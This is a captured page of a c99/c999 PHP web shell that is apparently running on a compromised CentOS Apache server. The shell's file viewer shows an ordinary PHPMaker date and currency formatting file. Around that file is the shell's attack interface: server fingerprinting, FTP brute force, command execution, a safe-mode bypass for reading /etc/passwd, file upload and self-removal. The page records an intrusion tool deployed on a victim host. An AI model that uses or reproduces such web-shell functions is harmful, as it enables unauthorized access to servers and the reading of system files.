!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/calendar/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     phpmkrfn.php (16.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
--------------------------------------------------------------------------------
Functions for PHPMaker 2.0
(C)2002-2004 e.World Technology Limited. All rights reserved.
--------------------------------------------------------------------------------
*/
define("DEFAULT_CURRENCY_SYMBOL""$");
define("DEFAULT_MON_DECIMAL_POINT"".");
define("DEFAULT_MON_THOUSANDS_SEP"",");
define("DEFAULT_POSITIVE_SIGN""");
define("DEFAULT_NEGATIVE_SIGN""-");
define("DEFAULT_FRAC_DIGITS"2);
define("DEFAULT_P_CS_PRECEDES"true);
define("DEFAULT_P_SEP_BY_SPACE"false);
define("DEFAULT_N_CS_PRECEDES"true);
define("DEFAULT_N_SEP_BY_SPACE"false);
define("DEFAULT_P_SIGN_POSN"3);
define("DEFAULT_N_SIGN_POSN"3);

// PHPMaker DEFAULT_DATE_FORMAT:
/* "yyyy/mm/dd"(default)  or "mm/dd/yyyy" or "dd/mm/yyyy" */
define("DEFAULT_DATE_FORMAT""dd/mm/yyyy");

// FormatDateTime
/*
Format a timestamp, datetime, date or time field from MySQL
$namedformat:
0 - General Date,
1 - Long Date,
2 - Short Date (Default),
3 - Long Time,
4 - Short Time,
5 - Short Date (yyyy/mm/dd),
6 - Short Date (mm/dd/yyyy),
7 - Short Date (dd/mm/yyyy)
*/
function FormatDateTime($ts$namedformat)
{
  
$DefDateFormat str_replace("yyyy""%Y"DEFAULT_DATE_FORMAT);
    
$DefDateFormat str_replace("mm""%m"$DefDateFormat);
    
$DefDateFormat str_replace("dd""%d"$DefDateFormat);
    if (
is_numeric($ts)) // timestamp
    
{
        switch (
strlen($ts)) {
            case 
14:
                
$patt '/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/';
                break;
            case 
12:
                
$patt '/(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/';
                break;
            case 
10:
                
$patt '/(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/';
                break;
            case 
8:
                
$patt '/(\d{4})(\d{2})(\d{2})/';
                break;
            case 
6:
                
$patt '/(\d{2})(\d{2})(\d{2})/';
                break;
            case 
4:
                
$patt '/(\d{2})(\d{2})/';
                break;
            case 
2:
                
$patt '/(\d{2})/';
                break;
            default:
                    return 
$ts;
        }        
        if ((isset(
$patt))&&(preg_match($patt$ts$matches)))
        {
            
$year $matches[1];
            
$month = @$matches[2];
            
$day = @$matches[3];
            
$hour = @$matches[4];
            
$min = @$matches[5];
            
$sec = @$matches[6];
        }
        if ((
$namedformat==0)&&(strlen($ts)<10)) $namedformat 2;
    }
    elseif (
is_string($ts))
    {        
        if (
preg_match('/(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2}):(\d{2})/'$ts$matches)) // datetime
        
{
            
$year $matches[1];
            
$month $matches[2];
            
$day $matches[3];
            
$hour $matches[4];
            
$min $matches[5];
            
$sec $matches[6];
        }
        elseif (
preg_match('/(\d{4})-(\d{2})-(\d{2})/'$ts$matches)) // date
        
{
            
$year $matches[1];
            
$month $matches[2];
            
$day $matches[3];
            if (
$namedformat==0$namedformat 2;
        }
        elseif (
preg_match('/(^|\s)(\d{2}):(\d{2}):(\d{2})/'$ts$matches)) // time
        
{
            
$hour $matches[2];
            
$min $matches[3];
            
$sec $matches[4];
            if ((
$namedformat==0)||($namedformat==1)) $namedformat 3;
            if (
$namedformat==2$namedformat 4;
        }
        else
        {
            return 
$ts;
        }
    }
    else
    {
        return 
$ts;
    }
    if (!isset(
$year)) $year 0// dummy value for times
    
if (!isset($month)) $month 1;
    if (!isset(
$day)) $day 1;    
    if (!isset(
$hour)) $hour 0;
    if (!isset(
$min)) $min 0;
    if (!isset(
$sec)) $sec 0;
    
$uts = @mktime($hour$min$sec$month$day$year);
    if (
$uts == -1) { // failed to convert
        
$year substr_replace("0000"$year, -strlen($year));
        
$month substr_replace("00"$month, -strlen($month));
        
$day substr_replace("00"$day, -strlen($day));
        
$hour substr_replace("00"$hour, -strlen($hour));
        
$min substr_replace("00"$min, -strlen($min));
        
$sec substr_replace("00"$sec, -strlen($sec));
        
$DefDateFormat str_replace("yyyy"$yearDEFAULT_DATE_FORMAT);
        
$DefDateFormat str_replace("mm"$month$DefDateFormat);
        
$DefDateFormat str_replace("dd"$day$DefDateFormat);
        switch (
$namedformat) {
            case 
0:
                return 
$DefDateFormat." $hour:$min:$sec";
                break;
            case 
1://unsupported, return general date
                
return $DefDateFormat." $hour:$min:$sec";
                break;
            case 
2:
                return 
$DefDateFormat;
                break;
            case 
3:
                    if (
intval($hour)==0)
                        return 
"12:$min:$sec AM";
                    elseif (
intval($hour)>&& intval($hour)<12)
                        return 
"$hour:$min:$sec AM";
                    elseif (
intval($hour)==12)
                        return 
"$hour:$min:$sec PM";
                    elseif (
intval($hour)>12 && intval($hour)<=23)
                        return (
intval($hour)-12).":$min:$sec PM";
                    else
                        return 
"$hour:$min:$sec";
                break;
            case 
4:
                return 
"$hour:$min:$sec";
                break;
            case 
5:
                return 
"$year/$month/$day";
                break;
            case 
6:
                return 
"$month/$day/$year";
                break;
            case 
7:
                return 
"$day/$month/$year";
                break;
        }
    } else {
        switch (
$namedformat) {
            case 
0:
                return 
strftime($DefDateFormat." %H:%M:%S"$uts);
                break;
            case 
1:
                return 
strftime("%A, %B %d, %Y"$uts);        
                break;
            case 
2:
                return 
strftime($DefDateFormat$uts);
                break;
            case 
3:
                return 
strftime("%I:%M:%S %p"$uts);
                break;
            case 
4:
                return 
strftime("%H:%M:%S"$uts);
                break;
            case 
5:
                return 
strftime("%Y/%m/%d"$uts);
                break;
            case 
6:
                return 
strftime("%m/%d/%Y"$uts);
                break;
            case 
7:
                return 
strftime("%d/%m/%Y"$uts);
                break;
        }
    }
}

// Convert a date to MySQL format
function ConvertDateToMysqlFormat($dateStr)
{
    @list(
$datePt$timePt) = explode(" "$dateStr);
    
$arDatePt explode("/"$datePt);
    if (
count($arDatePt) == 3) {
        switch (
DEFAULT_DATE_FORMAT) {
        case 
"yyyy/mm/dd":
        list(
$year$month$day) = $arDatePt;
        break;
        case 
"mm/dd/yyyy":
        list(
$month$day$year) = $arDatePt;
        break;
        case 
"dd/mm/yyyy":
        list(
$day$month$year) = $arDatePt;
        break;
        }
        return 
trim($year "-" $month "-" $day " " $timePt);
    } else {
        return 
$dateStr;
    }
}

// FormatCurrency
/*
FormatCurrency(Expression[,NumDigitsAfterDecimal [,IncludeLeadingDigit
 [,UseParensForNegativeNumbers [,GroupDigits]]]])
NumDigitsAfterDecimal is the numeric value indicating how many places to the
right of the decimal are displayed
-1 Use Default
The IncludeLeadingDigit, UseParensForNegativeNumbers, and GroupDigits
arguments have the following settings:
-1 True 
0 False 
-2 Use Default
*/
function FormatCurrency($amount$NumDigitsAfterDecimal$IncludeLeadingDigit$UseParensForNegativeNumbers$GroupDigits
{

  
// export the values returned by localeconv into the local scope
  
if (function_exists("localeconv")) extract(localeconv());

    
// set defaults if locale is not set
    
if (empty($currency_symbol)) $currency_symbol DEFAULT_CURRENCY_SYMBOL;
    if (empty(
$mon_decimal_point)) $mon_decimal_point DEFAULT_MON_DECIMAL_POINT;
    if (empty(
$mon_thousands_sep)) $mon_thousands_sep DEFAULT_MON_THOUSANDS_SEP;
    if (empty(
$positive_sign)) $positive_sign DEFAULT_POSITIVE_SIGN;
    if (empty(
$negative_sign)) $negative_sign DEFAULT_NEGATIVE_SIGN;
    if (empty(
$frac_digits) || $frac_digits == CHAR_MAX$frac_digits DEFAULT_FRAC_DIGITS;
    if (empty(
$p_cs_precedes) || $p_cs_precedes == CHAR_MAX$p_cs_precedes DEFAULT_P_CS_PRECEDES;
    if (empty(
$p_sep_by_space) || $p_sep_by_space == CHAR_MAX$p_sep_by_space DEFAULT_P_SEP_BY_SPACE;
    if (empty(
$n_cs_precedes) || $n_cs_precedes == CHAR_MAX$n_cs_precedes DEFAULT_N_CS_PRECEDES;
    if (empty(
$n_sep_by_space) || $n_sep_by_space == CHAR_MAX$n_sep_by_space DEFAULT_N_SEP_BY_SPACE;
    if (empty(
$p_sign_posn) || $p_sign_posn == CHAR_MAX$p_sign_posn DEFAULT_P_SIGN_POSN;
    if (empty(
$n_sign_posn) || $n_sign_posn == CHAR_MAX$n_sign_posn DEFAULT_N_SIGN_POSN;

    
// check $NumDigitsAfterDecimal
    
if ($NumDigitsAfterDecimal > -1
        
$frac_digits $NumDigitsAfterDecimal;

    
// check $UseParensForNegativeNumbers
    
if ($UseParensForNegativeNumbers == -1) {
        
$n_sign_posn 0;
        if (
$p_sign_posn == 0) {
            if (
DEFAULT_P_SIGN_POSN != 0)
                
$p_sign_posn DEFAULT_P_SIGN_POSN;
            else
                
$p_sign_posn 3;
        }
    } elseif (
$UseParensForNegativeNumbers == 0) {
        if (
$n_sign_posn == 0)
            if (
DEFAULT_P_SIGN_POSN != 0)
                
$n_sign_posn DEFAULT_P_SIGN_POSN;
            else
                
$n_sign_posn 3;
    }

    
// check $GroupDigits
    
if ($GroupDigits == -1) {
        
$mon_thousands_sep DEFAULT_MON_THOUSANDS_SEP;
    } elseif (
$GroupDigits == 0) {
        
$mon_thousands_sep "";
    }

    
// start by formatting the unsigned number
    
$number number_format(abs($amount),
                            
$frac_digits,
                            
$mon_decimal_point,
                            
$mon_thousands_sep);

    
// check $IncludeLeadingDigit
    
if ($IncludeLeadingDigit == 0) {
        if (
substr($number02) == "0.")
            
$number substr($number1strlen($number)-1);        
    }
    if (
$amount 0) {
        
$sign $negative_sign;

        
// "extracts" the boolean value as an integer 
        
$n_cs_precedes  intval($n_cs_precedes  == true);
        
$n_sep_by_space intval($n_sep_by_space == true);
        
$key $n_cs_precedes $n_sep_by_space $n_sign_posn;
    } else {
        
$sign $positive_sign;
        
$p_cs_precedes  intval($p_cs_precedes  == true);
        
$p_sep_by_space intval($p_sep_by_space == true);
        
$key $p_cs_precedes $p_sep_by_space $p_sign_posn;
    }
  
$formats = array(

      
// currency symbol is after amount

      // no space between amount and sign
      
'000' => '(%s' $currency_symbol ')',
      
'001' => $sign '%s ' $currency_symbol,
      
'002' => '%s' $currency_symbol $sign,
      
'003' => '%s' $sign $currency_symbol,
      
'004' => '%s' $sign $currency_symbol,

      
// one space between amount and sign
      
'010' => '(%s ' $currency_symbol ')',
      
'011' => $sign '%s ' $currency_symbol,
      
'012' => '%s ' $currency_symbol $sign,
      
'013' => '%s ' $sign $currency_symbol,
      
'014' => '%s ' $sign $currency_symbol,

      
// currency symbol is before amount

      // no space between amount and sign
      
'100' => '(' $currency_symbol '%s)',
      
'101' => $sign $currency_symbol '%s',
      
'102' => $currency_symbol '%s' $sign,
      
'103' => $sign $currency_symbol '%s',
      
'104' => $currency_symbol $sign '%s',

      
// one space between amount and sign
      
'110' => '(' $currency_symbol ' %s)',
      
'111' => $sign $currency_symbol ' %s',
      
'112' => $currency_symbol ' %s' $sign,
      
'113' => $sign $currency_symbol ' %s',
      
'114' => $currency_symbol ' ' $sign '%s');

  
// lookup the key in the above array
  
return sprintf($formats[$key], $number);
}

// FormatNumber
/*
FormatNumber(Expression[,NumDigitsAfterDecimal [,IncludeLeadingDigit
    [,UseParensForNegativeNumbers [,GroupDigits]]]])
NumDigitsAfterDecimal is the numeric value indicating how many places to the
right of the decimal are displayed
-1 Use Default
The IncludeLeadingDigit, UseParensForNegativeNumbers, and GroupDigits
arguments have the following settings:
-1 True 
0 False 
-2 Use Default
*/
function FormatNumber($amount$NumDigitsAfterDecimal$IncludeLeadingDigit$UseParensForNegativeNumbers$GroupDigits
{

  
// export the values returned by localeconv into the local scope
  
if (function_exists("localeconv")) extract(localeconv());

    
// set defaults if locale is not set
    
if (empty($currency_symbol)) $currency_symbol DEFAULT_CURRENCY_SYMBOL;
    if (empty(
$mon_decimal_point)) $mon_decimal_point DEFAULT_MON_DECIMAL_POINT;
    if (empty(
$mon_thousands_sep)) $mon_thousands_sep DEFAULT_MON_THOUSANDS_SEP;
    if (empty(
$positive_sign)) $positive_sign DEFAULT_POSITIVE_SIGN;
    if (empty(
$negative_sign)) $negative_sign DEFAULT_NEGATIVE_SIGN;
    if (empty(
$frac_digits) || $frac_digits == CHAR_MAX$frac_digits DEFAULT_FRAC_DIGITS;
    if (empty(
$p_cs_precedes) || $p_cs_precedes == CHAR_MAX$p_cs_precedes DEFAULT_P_CS_PRECEDES;
    if (empty(
$p_sep_by_space) || $p_sep_by_space == CHAR_MAX$p_sep_by_space DEFAULT_P_SEP_BY_SPACE;
    if (empty(
$n_cs_precedes) || $n_cs_precedes == CHAR_MAX$n_cs_precedes DEFAULT_N_CS_PRECEDES;
    if (empty(
$n_sep_by_space) || $n_sep_by_space == CHAR_MAX$n_sep_by_space DEFAULT_N_SEP_BY_SPACE;
    if (empty(
$p_sign_posn) || $p_sign_posn == CHAR_MAX$p_sign_posn DEFAULT_P_SIGN_POSN;
    if (empty(
$n_sign_posn) || $n_sign_posn == CHAR_MAX$n_sign_posn DEFAULT_N_SIGN_POSN;

    
// check $NumDigitsAfterDecimal
    
if ($NumDigitsAfterDecimal > -1
        
$frac_digits $NumDigitsAfterDecimal;

    
// check $UseParensForNegativeNumbers
    
if ($UseParensForNegativeNumbers == -1) {
        
$n_sign_posn 0;
        if (
$p_sign_posn == 0) {
            if (
DEFAULT_P_SIGN_POSN != 0)
                
$p_sign_posn DEFAULT_P_SIGN_POSN;
            else
                
$p_sign_posn 3;
        }
    } elseif (
$UseParensForNegativeNumbers == 0) {
        if (
$n_sign_posn == 0)
            if (
DEFAULT_P_SIGN_POSN != 0)
                
$n_sign_posn DEFAULT_P_SIGN_POSN;
            else
                
$n_sign_posn 3;
    }

    
// check $GroupDigits
    
if ($GroupDigits == -1) {
        
$mon_thousands_sep DEFAULT_MON_THOUSANDS_SEP;
    } elseif (
$GroupDigits == 0) {
        
$mon_thousands_sep "";
    }

  
// start by formatting the unsigned number
  
$number number_format(abs($amount),
                          
$frac_digits,
                          
$mon_decimal_point,
                          
$mon_thousands_sep);

    
// check $IncludeLeadingDigit
    
if ($IncludeLeadingDigit == 0) {
        if (
substr($number02) == "0.")
            
$number substr($number1strlen($number)-1);
    }
    if (
$amount 0) {
        
$sign $negative_sign;
        
$key $n_sign_posn;
    } else {
        
$sign $positive_sign;
        
$key $p_sign_posn;
    }
    
$formats = array(
        
'0' => '(%s)',
        
'1' => $sign '%s',
        
'2' => $sign '%s',
        
'3' => $sign '%s',
        
'4' => $sign '%s');

    
// lookup the key in the above array
    
return sprintf($formats[$key], $number);
}

// FormatPercent
/*
FormatPercent(Expression[,NumDigitsAfterDecimal [,IncludeLeadingDigit
    [,UseParensForNegativeNumbers [,GroupDigits]]]])
NumDigitsAfterDecimal is the numeric value indicating how many places to the
right of the decimal are displayed
-1 Use Default
The IncludeLeadingDigit, UseParensForNegativeNumbers, and GroupDigits
arguments have the following settings:
-1 True 
0 False 
-2 Use Default
*/
function FormatPercent($amount$NumDigitsAfterDecimal$IncludeLeadingDigit$UseParensForNegativeNumbers$GroupDigits
{

  
// export the values returned by localeconv into the local scope
  
if (function_exists("localeconv")) extract(localeconv());

    
// set defaults if locale is not set
    
if (empty($currency_symbol)) $currency_symbol DEFAULT_CURRENCY_SYMBOL;
    if (empty(
$mon_decimal_point)) $mon_decimal_point DEFAULT_MON_DECIMAL_POINT;
    if (empty(
$mon_thousands_sep)) $mon_thousands_sep DEFAULT_MON_THOUSANDS_SEP;
    if (empty(
$positive_sign)) $positive_sign DEFAULT_POSITIVE_SIGN;
    if (empty(
$negative_sign)) $negative_sign DEFAULT_NEGATIVE_SIGN;
    if (empty(
$frac_digits) || $frac_digits == CHAR_MAX$frac_digits DEFAULT_FRAC_DIGITS;
    if (empty(
$p_cs_precedes) || $p_cs_precedes == CHAR_MAX$p_cs_precedes DEFAULT_P_CS_PRECEDES;
    if (empty(
$p_sep_by_space) || $p_sep_by_space == CHAR_MAX$p_sep_by_space DEFAULT_P_SEP_BY_SPACE;
    if (empty(
$n_cs_precedes) || $n_cs_precedes == CHAR_MAX$n_cs_precedes DEFAULT_N_CS_PRECEDES;
    if (empty(
$n_sep_by_space) || $n_sep_by_space == CHAR_MAX$n_sep_by_space DEFAULT_N_SEP_BY_SPACE;
    if (empty(
$p_sign_posn) || $p_sign_posn == CHAR_MAX$p_sign_posn DEFAULT_P_SIGN_POSN;
    if (empty(
$n_sign_posn) || $n_sign_posn == CHAR_MAX$n_sign_posn DEFAULT_N_SIGN_POSN;

    
// check $NumDigitsAfterDecimal
    
if ($NumDigitsAfterDecimal > -1
        
$frac_digits $NumDigitsAfterDecimal;

    
// check $UseParensForNegativeNumbers
    
if ($UseParensForNegativeNumbers == -1) {
        
$n_sign_posn 0;
        if (
$p_sign_posn == 0) {
            if (
DEFAULT_P_SIGN_POSN != 0)
                
$p_sign_posn DEFAULT_P_SIGN_POSN;
            else
                
$p_sign_posn 3;
        }
    } elseif (
$UseParensForNegativeNumbers == 0) {
        if (
$n_sign_posn == 0)
            if (
DEFAULT_P_SIGN_POSN != 0)
                
$n_sign_posn DEFAULT_P_SIGN_POSN;
            else
                
$n_sign_posn 3;
    }

    
// check $GroupDigits
    
if ($GroupDigits == -1) {
        
$mon_thousands_sep DEFAULT_MON_THOUSANDS_SEP;
    } elseif (
$GroupDigits == 0) {
        
$mon_thousands_sep "";
    }

    
// start by formatting the unsigned number
    
$number number_format(abs($amount)*100,
                            
$frac_digits,
                            
$mon_decimal_point,
                            
$mon_thousands_sep);

    
// check $IncludeLeadingDigit
    
if ($IncludeLeadingDigit == 0) {
        if (
substr($number02) == "0.")
            
$number substr($number1strlen($number)-1);        
    }
    if (
$amount 0) {
        
$sign $negative_sign;
        
$key $n_sign_posn;
    } else {
        
$sign $positive_sign;
        
$key $p_sign_posn;
    }
    
$formats = array(
        
'0' => '(%s%%)',
        
'1' => $sign '%s%%',
        
'2' => $sign '%s%%',
        
'3' => $sign '%s%%',
        
'4' => $sign '%s%%');

  
// lookup the key in the above array
  
return sprintf($formats[$key], $number);
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0097 ]--